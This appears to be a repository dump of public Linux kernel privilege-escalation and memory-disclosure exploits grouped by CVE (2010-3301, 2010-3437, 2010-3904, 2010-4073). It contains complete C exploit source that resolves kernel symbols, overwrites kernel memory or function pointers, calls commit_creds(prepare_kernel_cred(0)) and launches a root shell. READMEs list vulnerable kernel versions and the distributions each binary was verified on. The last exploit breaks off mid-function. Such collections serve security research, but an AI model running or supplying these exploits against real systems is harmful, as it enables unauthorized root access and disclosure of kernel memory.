* rediscovered by ben hawkes
* with help from robert swiecki and tavis ormandy
*
* original vulnerability discovered by Wojciech Purczynski
*
* original exploit by
* Robert Swiecki <robert_at_swiecki.net>
* Przemyslaw Frasunek <venglin_at_freebsd.lublin.pl>
* Pawel Pisarczyk <pawel_at_immos.com.pl>
*
* kernel priv escalation code borrowed from spender
*
*/
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <inttypes.h>
#include <sys/reg.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <string.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
int kernelmodecode(void *file, void *vma)
{
commit_creds(prepare_kernel_cred(0));
return -1;
}
unsigned long
get_symbol(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
int ret = 0, oldstyle = 0;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL)
return 0;
oldstyle = 1;
}
while (ret != EOF) {
if (!oldstyle) {
ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
} else {
ret = fscanf(f, "%p %s\n", (void **) &addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "_O/") || strstr(sname, "_S.")) {
continue;
}
p = strrchr(sname, '_');
if (p > ((char *) sname + 5) && !strncmp(p - 3, "smp", 3)) {
p = p - 4;
while (p > (char *)sname && *(p - 1) == '_') {
p--;
}
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
printf("resolved symbol %s to %p\n", name, (void *) addr);
fclose(f);
return addr;
}
}
fclose(f);
return 0;
}
static void docall(uint64_t *ptr, uint64_t size)
{
commit_creds = (_commit_creds) get_symbol("commit_creds");
if (!commit_creds) {
printf("symbol table not available, aborting!\n");
exit(1);
}
prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
if (!prepare_kernel_cred) {
printf("symbol table not available, aborting!\n");
exit(1);
}
uint64_t tmp = ((uint64_t)ptr & ~0x00000000000FFF);
printf("mapping at %lx\n", tmp);
if (mmap((void*)tmp, size, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
printf("mmap fault\n");
exit(1);
}
for (; (uint64_t) ptr < (tmp + size); ptr++)
*ptr = (uint64_t)kernelmodecode;
__asm__("\n"
"\tmovq $0x101, %rax\n"
"\tint $0x80\n");
printf("UID %d, EUID:%d GID:%d, EGID:%d\n", getuid(), geteuid(), getgid(), getegid());
execl("/bin/sh", "bin/sh", NULL);
printf("no /bin/sh ??\n");
exit(0);
}
int main(int argc, char **argv)
{
int pid, status, set = 0;
uint64_t rax;
uint64_t kern_s = 0xffffffff80000000;
uint64_t kern_e = 0xffffffff84000000;
uint64_t off = 0x0000000800000101 * 8;
if (argc == 4) {
docall((uint64_t*)(kern_s + off), kern_e - kern_s);
exit(0);
}
if ((pid = fork()) == 0) {
ptrace(PTRACE_TRACEME, 0, 0, 0);
execl(argv[0], argv[0], "2", "3", "4", NULL);
perror("exec fault");
exit(1);
}
if (pid == -1) {
printf("fork fault\n");
exit(1);
}
for (;;) {
if (wait(&status) != pid)
continue;
if (WIFEXITED(status)) {
printf("Process finished\n");
break;
}
if (!WIFSTOPPED(status))
continue;
if (WSTOPSIG(status) != SIGTRAP) {
printf("Process received signal: %d\n", WSTOPSIG(status));
break;
}
rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
if (rax == 0x000000000101) {
if (ptrace(PTRACE_POKEUSER, pid, 8*ORIG_RAX, off/8) == -1) {
printf("PTRACE_POKEUSER fault\n");
exit(1);
}
set = 1;
//rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
}
if ((rax == 11) && set) {
ptrace(PTRACE_DETACH, pid, 0, 0);
for(;;)
sleep(10000);
}
if (ptrace(PTRACE_SYSCALL, pid, 1, 0) == -1) {
printf("PTRACE_SYSCALL fault\n");
exit(1);
}
}
return 0;
}

View File

@ -0,0 +1,25 @@
# CVE-2010-3301
CVE-2010-3301
Vulnerability reference:
* [CVE-2010-3301](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2010-3301)
* [exp-db](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2010-3301)
## Kernels
```
2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34
```
### This binary has been verified on:
- Debian 6 - Linux 2.6.32-trunk-amd64 x86_64
- Debian 6 - Linux 2.6.33-2-amd64 x86_64
- Debian 6 - Linux 2.6.34-1-amd64 x86_64
- Debian 6 - Linux 2.6.35-trunk-amd64 x86_64
- Ubuntu 10.10 - 2.6.35-19-server #28-Ubuntu x86_64
- Ubuntu 10.04.1 - 2.6.32-24-server #39-Ubuntu x86_64
- Ubuntu 10.04 - 2.6.32-21-server #32-Ubuntu x86_64

Binary file not shown.

359
2010/CVE-2010-3437/15150.c Normal file
View File

@ -0,0 +1,359 @@
/*
* cve-2010-3437.c
*
* Linux Kernel < 2.6.36-rc6 pktcdvd Kernel Memory Disclosure
* Jon Oberheide <jon@oberheide.org>
* http://jon.oberheide.org
*
* Information:
*
* https://bugzilla.redhat.com/show_bug.cgi?id=638085
*
* The PKT_CTRL_CMD_STATUS device ioctl retrieves a pointer to a
* pktcdvd_device from the global pkt_devs array. The index into this
* array is provided directly by the user and is a signed integer, so the
* comparison to ensure that it falls within the bounds of this array will
* fail when provided with a negative index.
*
* Usage:
*
* $ gcc cve-2010-3437.c -o cve-2010-3437
* $ ./cve-2010-3437
* usage: ./cve-2010-3437 <address> <length>
* $ ./cve-2010-3437 0xc0102290 64
* [+] searching for pkt_devs kernel symbol...
* [+] found pkt_devs at 0xc086fcc0
* [+] opening pktcdvd device...
* [+] calculated dereference address of 0x790070c0
* [+] mapping page at 0x79007000 for pktcdvd_device dereference...
* [+] setting up fake pktcdvd_device structure...
* [+] dumping kmem from 0xc0102290 to 0xc01022d0 via malformed ioctls...
* [+] dumping kmem to output...
*
* 55 89 e5 0f 1f 44 00 00 8b 48 3c 8b 50 04 8b ...
* 55 89 e5 57 56 53 0f 1f 44 00 00 89 d3 89 e2 ...
*
* Notes:
*
* Pass the desired kernel memory address and dump length as arguments.
*
* We can disclose 4 bytes of arbitrary kernel memory per ioctl call by
* specifying a large negative device index, causing the kernel to
* dereference to our fake pktcdvd_device structure in userspace and copy
* data to userspace from an attacker-controlled address. Since only 4
* bytes of kmem are disclosed per ioctl call, large dump sizes may take a
* few seconds.
*
* Tested on Ubuntu Lucid 10.04. 32-bit only for now.
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/utsname.h>
#include <sys/mman.h>
#define DEV_INDEX -300000000
#define PAGE_SIZE 4096
#define PKT_CTRL_CMD_STATUS 2
struct pkt_ctrl_command {
uint32_t command;
int32_t dev_index;
uint32_t dev;
uint32_t pkt_dev;
uint32_t num_devices;
uint32_t padding;
};
#define PACKET_IOCTL_MAGIC ('X')
#define PACKET_CTRL_CMD _IOWR(PACKET_IOCTL_MAGIC, 1, struct pkt_ctrl_command)
struct block_device {
uint32_t bd_dev;
} bd;
struct pktcdvd_device {
struct block_device *bdev;
} pd;
#define MINORBITS 20
#define MKDEV(ma,mi) (((ma) << MINORBITS) | (mi))
uint32_t
new_decode_dev(uint32_t dev)
{
unsigned major = (dev & 0xfff00) >> 8;
unsigned minor = (dev & 0xff) | ((dev >> 12) & 0xfff00);
return MKDEV(major, minor);
}
const char hex_asc[] = "0123456789abcdef";
#define hex_asc_lo(x) hex_asc[((x) & 0x0f)]
#define hex_asc_hi(x) hex_asc[((x) & 0xf0) >> 4]
void
hex_dump_to_buffer(const void *buf, size_t len, int rowsize, int groupsize, char *linebuf, size_t linebuflen, int ascii)
{
const uint8_t *ptr = buf;
uint8_t ch;
int j, lx = 0;
int ascii_column;
if (rowsize != 16 && rowsize != 32)
rowsize = 16;
if (!len)
goto nil;
if (len > rowsize)
len = rowsize;
if ((len % groupsize) != 0)
groupsize = 1;
switch (groupsize) {
case 8: {
const uint64_t *ptr8 = buf;
int ngroups = len / groupsize;
for (j = 0; j < ngroups; j++)
lx += snprintf(linebuf + lx, linebuflen - lx,
"%16.16llx ", (unsigned long long)*(ptr8 + j));
ascii_column = 17 * ngroups + 2;
break;
}
case 4: {
const uint32_t *ptr4 = buf;
int ngroups = len / groupsize;
for (j = 0; j < ngroups; j++)
lx += snprintf(linebuf + lx, linebuflen - lx,
"%8.8x ", *(ptr4 + j));
ascii_column = 9 * ngroups + 2;
break;
}
case 2: {
const uint16_t *ptr2 = buf;
int ngroups = len / groupsize;
for (j = 0; j < ngroups; j++)
lx += snprintf(linebuf + lx, linebuflen - lx,
"%4.4x ", *(ptr2 + j));
ascii_column = 5 * ngroups + 2;
break;
}
default:
for (j = 0; (j < rowsize) && (j < len) && (lx + 4) < linebuflen;
j++) {
ch = ptr[j];
linebuf[lx++] = hex_asc_hi(ch);
linebuf[lx++] = hex_asc_lo(ch);
linebuf[lx++] = ' ';
}
ascii_column = 3 * rowsize + 2;
break;
}
if (!ascii)
goto nil;
while (lx < (linebuflen - 1) && lx < (ascii_column - 1))
linebuf[lx++] = ' ';
for (j = 0; (j < rowsize) && (j < len) && (lx + 2) < linebuflen; j++)
linebuf[lx++] = (isascii(ptr[j]) && isprint(ptr[j])) ? ptr[j]
: '.';
nil:
linebuf[lx++] = '\0';
}
void
print_hex_dump(int rowsize, int groupsize, const void *buf, size_t len, int ascii)
{
const uint8_t *ptr = buf;
int i, linelen, remaining = len;
unsigned char linebuf[200];
if (rowsize != 16 && rowsize != 32)
rowsize = 16;
for (i = 0; i < len; i += rowsize) {
linelen = ((remaining) < (rowsize) ? (remaining) : (rowsize));
remaining -= rowsize;
hex_dump_to_buffer(ptr + i, linelen, rowsize, groupsize,
linebuf, sizeof(linebuf), ascii);
printf("%s\n", linebuf);
}
}
unsigned long
get_kernel_symbol(char *name)
{
FILE *f;
unsigned long addr;
struct utsname ver;
char dummy, sname[512];
int ret, rep = 0, oldstyle = 0;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL) {
goto fallback;
}
oldstyle = 1;
}
repeat:
ret = 0;
while(ret != EOF) {
if (!oldstyle) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
} else {
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "_O/") || strstr(sname, "_S.")) {
continue;
}
p = strrchr(sname, '_');
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
p = p - 4;
while (p > (char *)sname && *(p - 1) == '_') {
p--;
}
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fclose(f);
return addr;
}
}
fclose(f);
if (rep) {
return 0;
}
fallback:
uname(&ver);
if (strncmp(ver.release, "2.6", 3)) {
oldstyle = 1;
}
sprintf(sname, "/boot/System.map-%s", ver.release);
f = fopen(sname, "r");
if (f == NULL) {
return 0;
}
rep = 1;
goto repeat;
}
void
usage(char **argv)
{
fprintf(stderr, "usage: %s <address> <length>\n", argv[0]);
exit(1);
}
int
main(int argc, char **argv)
{
int fd, ret, length;
void *mem, *dump, *ptr;
struct pkt_ctrl_command cmd;
unsigned long pkt_devs, map_addr, deref_addr;
unsigned long start_addr, end_addr, curr_addr;
if (argc < 3) {
usage(argv);
}
start_addr = strtoul(argv[1], NULL, 0);
length = strtoul(argv[2], NULL, 0);
end_addr = start_addr + length;
dump = malloc(length);
if (!dump) {
printf("[-] failed to allocate memory for kmem dump\n");
exit(1);
}
memset(dump, 0, length);
printf("[+] searching for pkt_devs kernel symbol...\n");
pkt_devs = get_kernel_symbol("pkt_devs");
if (!pkt_devs) {
printf("[-] could not find pkt_devs kernel symbol\n");
exit(1);
}
printf("[+] found pkt_devs at %p\n", (void *) pkt_devs);
printf("[+] opening pktcdvd device...\n");
fd = open("/dev/pktcdvd/control", O_RDWR);
if (fd < 0) {
printf("[-] open of pktcdvd device failed\n");
exit(1);
}
deref_addr = pkt_devs + (DEV_INDEX * sizeof(void *));
map_addr = deref_addr & ~(PAGE_SIZE-1);
printf("[+] calculated dereference address of %p\n", (void *) deref_addr);
printf("[+] mapping page at %p for pktcdvd_device dereference...\n", (void *) map_addr);
mem = mmap((void *) map_addr, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
if (mem == MAP_FAILED) {
printf("[-] mmap failed\n");
exit(1);
}
printf("[+] setting up fake pktcdvd_device structure...\n");
*(unsigned long *) deref_addr = (unsigned long) &pd;
printf("[+] dumping kmem from %p to %p via malformed ioctls...\n", (void *) start_addr, (void *) end_addr);
memset(&cmd, 0, sizeof(cmd));
cmd.command = PKT_CTRL_CMD_STATUS;
cmd.dev_index = DEV_INDEX;
ptr = dump;
curr_addr = start_addr;
while (curr_addr < end_addr) {
pd.bdev = (struct block_device *) curr_addr;
ret = ioctl(fd, PACKET_CTRL_CMD, &cmd);
if (ret < 0) {
printf("[-] ioctl of pktcdvd device failed\n");
exit(1);
}
*(uint32_t *) ptr = (uint32_t) new_decode_dev(cmd.dev);
curr_addr += sizeof(uint32_t);
ptr += sizeof(uint32_t);
}
printf("[+] dumping kmem to output...\n");
printf("\n");
print_hex_dump(32, 1, dump, length, 1);
printf("\n");
return 0;
}

View File

@ -0,0 +1,23 @@
# CVE-2010-3437
CVE-2010-3437
Vulnerability reference:
* [CVE-2010-3437](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2010-3437)
* [exp-db](https://www.exploit-db.com/exploits/15150/)
## Kernels
```
2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36
```
## Usage
```
$ gcc cve-2010-3437.c -o cve-2010-3437
$ ./cve-2010-3437
```

285
2010/CVE-2010-3904/15285 Normal file
View File

@ -0,0 +1,285 @@
// source: http://www.vsecurity.com/resources/advisory/20101019-1/
/*
* Linux Kernel <= 2.6.36-rc8 RDS privilege escalation exploit
* CVE-2010-3904
* by Dan Rosenberg <drosenberg@vsecurity.com>
*
* Copyright 2010 Virtual Security Research, LLC
*
* The handling functions for sending and receiving RDS messages
* use unchecked __copy_*_user_inatomic functions without any
* access checks on user-provided pointers. As a result, by
* passing a kernel address as an iovec base address in recvmsg-style
* calls, a local user can overwrite arbitrary kernel memory, which
* can easily be used to escalate privileges to root. Alternatively,
* an arbitrary kernel read can be performed via sendmsg calls.
*
* This exploit is simple - it resolves a few kernel symbols,
* sets the security_ops to the default structure, then overwrites
* a function pointer (ptrace_traceme) in that structure to point
* to the payload. After triggering the payload, the original
* value is restored. Hard-coding the offset of this function
* pointer is a bit inelegant, but I wanted to keep it simple and
* architecture-independent (i.e. no inline assembly).
*
* The vulnerability is yet another example of why you shouldn't
* allow loading of random packet families unless you actually
* need them.
*
* Greets to spender, kees, taviso, hawkes, team lollerskaters,
* joberheide, bla, sts, and VSR
*
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/utsname.h>
#define RECVPORT 5555
#define SENDPORT 6666
int prep_sock(int port)
{
int s, ret;
struct sockaddr_in addr;
s = socket(PF_RDS, SOCK_SEQPACKET, 0);
if(s < 0) {
printf("[*] Could not open socket.\n");
exit(-1);
}
memset(&addr, 0, sizeof(addr));
addr.sin_addr.s_addr = inet_addr("127.0.0.1");
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
ret = bind(s, (struct sockaddr *)&addr, sizeof(addr));
if(ret < 0) {
printf("[*] Could not bind socket.\n");
exit(-1);
}
return s;
}
void get_message(unsigned long address, int sock)
{
recvfrom(sock, (void *)address, sizeof(void *), 0,
NULL, NULL);
}
void send_message(unsigned long value, int sock)
{
int size, ret;
struct sockaddr_in recvaddr;
struct msghdr msg;
struct iovec iov;
unsigned long buf;
memset(&recvaddr, 0, sizeof(recvaddr));
size = sizeof(recvaddr);
recvaddr.sin_port = htons(RECVPORT);
recvaddr.sin_family = AF_INET;
recvaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
memset(&msg, 0, sizeof(msg));
msg.msg_name = &recvaddr;
msg.msg_namelen = sizeof(recvaddr);
msg.msg_iovlen = 1;
buf = value;
iov.iov_len = sizeof(buf);
iov.iov_base = &buf;
msg.msg_iov = &iov;
ret = sendmsg(sock, &msg, 0);
if(ret < 0) {
printf("[*] Something went wrong sending.\n");
exit(-1);
}
}
void write_to_mem(unsigned long addr, unsigned long value, int sendsock, int recvsock)
{
if(!fork()) {
sleep(1);
send_message(value, sendsock);
exit(1);
}
else {
get_message(addr, recvsock);
wait(NULL);
}
}
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
int __attribute__((regparm(3)))
getroot(void * file, void * vma)
{
commit_creds(prepare_kernel_cred(0));
return -1;
}
/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
struct utsname ver;
int ret;
int rep = 0;
int oldstyle = 0;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL)
goto fallback;
oldstyle = 1;
}
repeat:
ret = 0;
while(ret != EOF) {
if (!oldstyle)
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
else {
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "_O/") || strstr(sname, "_S."))
continue;
p = strrchr(sname, '_');
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
p = p - 4;
while (p > (char *)sname && *(p - 1) == '_')
p--;
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
fclose(f);
return addr;
}
}
fclose(f);
if (rep)
return 0;
fallback:
/* didn't find the symbol, let's retry with the System.map
dedicated to the pointlessness of Russell Coker's SELinux
test machine (why does he keep upgrading the kernel if
"all necessary security can be provided by SE Linux"?)
*/
uname(&ver);
if (strncmp(ver.release, "2.6", 3))
oldstyle = 1;
sprintf(sname, "/boot/System.map-%s", ver.release);
f = fopen(sname, "r");
if (f == NULL)
return 0;
rep = 1;
goto repeat;
}
int main(int argc, char * argv[])
{
unsigned long sec_ops, def_ops, cap_ptrace, target;
int sendsock, recvsock;
struct utsname ver;
printf("[*] Linux kernel >= 2.6.30 RDS socket exploit\n");
printf("[*] by Dan Rosenberg\n");
uname(&ver);
if(strncmp(ver.release, "2.6.3", 5)) {
printf("[*] Your kernel is not vulnerable.\n");
return -1;
}
/* Resolve addresses of relevant symbols */
printf("[*] Resolving kernel addresses...\n");
sec_ops = get_kernel_sym("security_ops");
def_ops = get_kernel_sym("default_security_ops");
cap_ptrace = get_kernel_sym("cap_ptrace_traceme");
commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
if(!sec_ops || !def_ops || !cap_ptrace || !commit_creds || !prepare_kernel_cred) {
printf("[*] Failed to resolve kernel symbols.\n");
return -1;
}
/* Calculate target */
target = def_ops + sizeof(void *) + ((11 + sizeof(void *)) & ~(sizeof(void *) - 1));
sendsock = prep_sock(SENDPORT);
recvsock = prep_sock(RECVPORT);
/* Reset security ops */
printf("[*] Overwriting security ops...\n");
write_to_mem(sec_ops, def_ops, sendsock, recvsock);
/* Overwrite ptrace_traceme security op fptr */
printf("[*] Overwriting function pointer...\n");
write_to_mem(target, (unsigned long)&getroot, sendsock, recvsock);
/* Trigger the payload */
printf("[*] Triggering payload...\n");
ptrace(PTRACE_TRACEME, 1, NULL, NULL);
/* Restore the ptrace_traceme security op */
printf("[*] Restoring function pointer...\n");
write_to_mem(target, cap_ptrace, sendsock, recvsock);
if(getuid()) {
printf("[*] Exploit failed to get root.\n");
return -1;
}
printf("[*] Got root!\n");
execl("/bin/sh", "sh", NULL);
}

View File

@ -0,0 +1,30 @@
# CVE-2010-3904
CVE-2010-3904
Vulnerability reference:
* [CVE-2010-3904](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2010-3904)
* [exp-db](http://www.exploit-db.com/exploits/15285/)
## Kernels
```
2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36
```
### This binary has been verified on:
- Debian 6 - Linux 2.6.31-1-686 32bit
- Ubuntu 10.10 - 2.6.35-19-generic-pae #28-Ubuntu x86_32
- Ubuntu 10.04 - 2.6.32-21-generic-pae #32-Ubuntu x86_32
- Ubuntu 10.04.1 - 2.6.32-24-generic-pae #39-Ubuntu x86_32
- Ubuntu 9.10 - 2.6.31-14-generic-pae #48-Ubuntu x86_32
- Debian 6 - Linux 2.6.31-1-amd64 x86_64
- Debian 6 - Linux 2.6.32-trunk-amd64 x86_64
- Debian 6 - Linux 2.6.34-1-amd64 x86_64
- Debian 6 - Linux 2.6.35-trunk-amd64 x86_64
- Ubuntu 10.10 - 2.6.35-19-server #28-Ubuntu x86_64
- Ubuntu 10.04.1 - 2.6.32-24-server #39-Ubuntu x86_64
- Ubuntu 10.04 - 2.6.32-21-server #32-Ubuntu x86_64
- Ubuntu 9.10 - 2.6.31-14-server #48-Ubuntu x86_64

BIN
2010/CVE-2010-3904/rds Normal file

Binary file not shown.

BIN
2010/CVE-2010-3904/rds64 Normal file

Binary file not shown.

608
2010/CVE-2010-4073/17787.c Normal file
View File

@ -0,0 +1,608 @@
/*
* half-nelson.c
*
* Linux Kernel < 2.6.36.2 Econet Privilege Escalation Exploit
* Jon Oberheide <jon@oberheide.org>
* http://jon.oberheide.org
*
* Information:
*
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3848
*
* Stack-based buffer overflow in the econet_sendmsg function in
* net/econet/af_econet.c in the Linux kernel before 2.6.36.2, when an
* econet address is configured, allows local users to gain privileges by
* providing a large number of iovec structures.
*
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3850
*
* The ec_dev_ioctl function in net/econet/af_econet.c in the Linux kernel
* before 2.6.36.2 does not require the CAP_NET_ADMIN capability, which
* allows local users to bypass intended access restrictions and configure
* econet addresses via an SIOCSIFADDR ioctl call.
*
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4073
*
* The ipc subsystem in the Linux kernel before 2.6.37-rc1 does not
* initialize certain structures, which allows local users to obtain
* potentially sensitive information from kernel stack memory.
*
* Usage:
*
* $ gcc half-nelson.c -o half-nelson -lrt
* $ ./half-nelson
* [+] looking for symbols...
* [+] resolved symbol commit_creds to 0xffffffff81088ad0
* [+] resolved symbol prepare_kernel_cred to 0xffffffff81088eb0
* [+] resolved symbol ia32_sysret to 0xffffffff81046692
* [+] spawning children to achieve adjacent kstacks...
* [+] found parent kstack at 0xffff88001c6ca000
* [+] found adjacent children kstacks at 0xffff88000d10a000 and 0xffff88000d10c000
* [+] lower child spawning a helper...
* [+] lower child calling compat_sys_wait4 on helper...
* [+] helper going to sleep...
* [+] upper child triggering stack overflow...
* [+] helper woke up
* [+] lower child returned from compat_sys_wait4
* [+] parent's restart_block has been clobbered
* [+] escalating privileges...
* [+] launching root shell!
* # id
* uid=0(root) gid=0(root)
*
* Notes:
*
* This exploit leverages three vulnerabilities to escalate privileges.
* The primary vulnerability is a kernel stack overflow, not a stack buffer
* overflow as the CVE description incorrectly states. I believe this is the
* first public exploit for a kernel stack overflow, and it turns out to be
* a bit tricky due to some particulars of the econet vulnerability. A full
* breakdown of the exploit is forthcoming.
*
* Tested on Ubuntu 10.04 LTS (2.6.32-21-generic).
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stddef.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <syscall.h>
#include <inttypes.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/syscall.h>
#include <netinet/in.h>
#include <net/if.h>
#define IOVS 446
#define NPROC 1024
#define KSTACK_SIZE 8192
#define KSTACK_UNINIT 0
#define KSTACK_UPPER 1
#define KSTACK_LOWER 2
#define KSTACK_DIE 3
#define KSTACK_PARENT 4
#define KSTACK_CLOBBER 5
#define LEAK_BASE 0xffff880000000000
#define LEAK_TOP 0xffff8800c0000000
#define LEAK_DEPTH 500
#define LEAK_OFFSET 32
#define NR_IPC 0x75
#define NR_WAIT4 0x72
#define SEMCTL 0x3
#ifndef PF_ECONET
#define PF_ECONET 19
#endif
#define STACK_OFFSET 6
#define RESTART_OFFSET 40
struct ec_addr {
unsigned char station;
unsigned char net;
};
struct sockaddr_ec {
unsigned short sec_family;
unsigned char port;
unsigned char cb;
unsigned char type;
struct ec_addr addr;
unsigned long cookie;
};
struct ipc64_perm {
uint32_t key;
uint32_t uid;
uint32_t gid;
uint32_t cuid;
uint32_t cgid;
uint32_t mode;
uint16_t seq;
uint16_t __pad2;
unsigned long __unused1;
unsigned long __unused2;
};
struct semid64_ds {
struct ipc64_perm sem_perm;
unsigned long sem_otime;
unsigned long __unused1;
unsigned long sem_ctime;
unsigned long __unused;
unsigned long sem_nsems;
unsigned long __unused3;
unsigned long __unused4;
};
union semun {
int val;
struct semid_ds *buf;
unsigned short *array;
struct seminfo *__buf;
};
struct region {
unsigned long parent;
unsigned long addrs[NPROC];
};
struct region *region;
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
unsigned long ia32_sysret;
void __attribute__((regparm(3)))
kernel_code(void)
{
commit_creds(prepare_kernel_cred(0));
}
void
payload_parent(void)
{
asm volatile (
"mov $kernel_code, %rax\n"
"call *%rax\n"
);
}
void
payload_child(void)
{
asm volatile (
"movq $payload_parent, (%0)\n"
"jmpq *%1\n"
:
: "r"(region->parent + RESTART_OFFSET), "r"(ia32_sysret)
);
}
unsigned long
get_kstack(void)
{
int i, size, offset;
union semun *arg;
struct semid_ds dummy;
struct semid64_ds *leaked;
char *stack_start, *stack_end;
unsigned char *p;
unsigned long kstack, *ptr;
/* make sure our argument is 32-bit accessible */
arg = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_32BIT, -1, 0);
if (arg == MAP_FAILED) {
printf("[-] failure mapping memory, aborting!\n");
exit(1);
}
/* map a fake stack to use during syscall */
stack_start = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_32BIT, -1, 0);
if (stack_start == MAP_FAILED) {
printf("[-] failure mapping memory, aborting!\n");
exit(1);
}
stack_end = stack_start + 4096;
memset(arg, 0, sizeof(union semun));
memset(&dummy, 0, sizeof(struct semid_ds));
arg->buf = &dummy;
/* syscall(NR_IPC, SEMCTL, 0, 0, IPC_SET, arg) */
asm volatile (
"push %%rax\n"
"push %%rbx\n"
"push %%rcx\n"
"push %%rdx\n"
"push %%rsi\n"
"push %%rdi\n"
"movl %0, %%eax\n"
"movl %1, %%ebx\n"
"movl %2, %%ecx\n"
"movl %3, %%edx\n"
"movl %4, %%esi\n"
"movq %5, %%rdi\n"
"movq %%rsp, %%r8\n"
"movq %6, %%rsp\n"
"push %%r8\n"
"int $0x80\n"
"pop %%r8\n"
"movq %%r8, %%rsp\n"
"pop %%rdi\n"
"pop %%rsi\n"
"pop %%rdx\n"
"pop %%rcx\n"
"pop %%rbx\n"
"pop %%rax\n"
:
: "r"(NR_IPC), "r"(SEMCTL), "r"(0), "r"(0), "r"(IPC_SET), "r"(arg), "r"(stack_end)
: "memory", "rax", "rbx", "rcx", "rdx", "rsi", "rdi", "r8"
);
/* naively extract a pointer to the kstack from the kstack */
p = stack_end - (sizeof(unsigned long) + sizeof(struct semid64_ds)) + LEAK_OFFSET;
kstack = *(unsigned long *) p;
if (kstack < LEAK_BASE || kstack > LEAK_TOP) {
printf("[-] failed to leak a suitable kstack address, try again!\n");
exit(1);
}
if ((kstack % 0x1000) < (0x1000 - LEAK_DEPTH)) {
printf("[-] failed to leak a suitable kstack address, try again!\n");
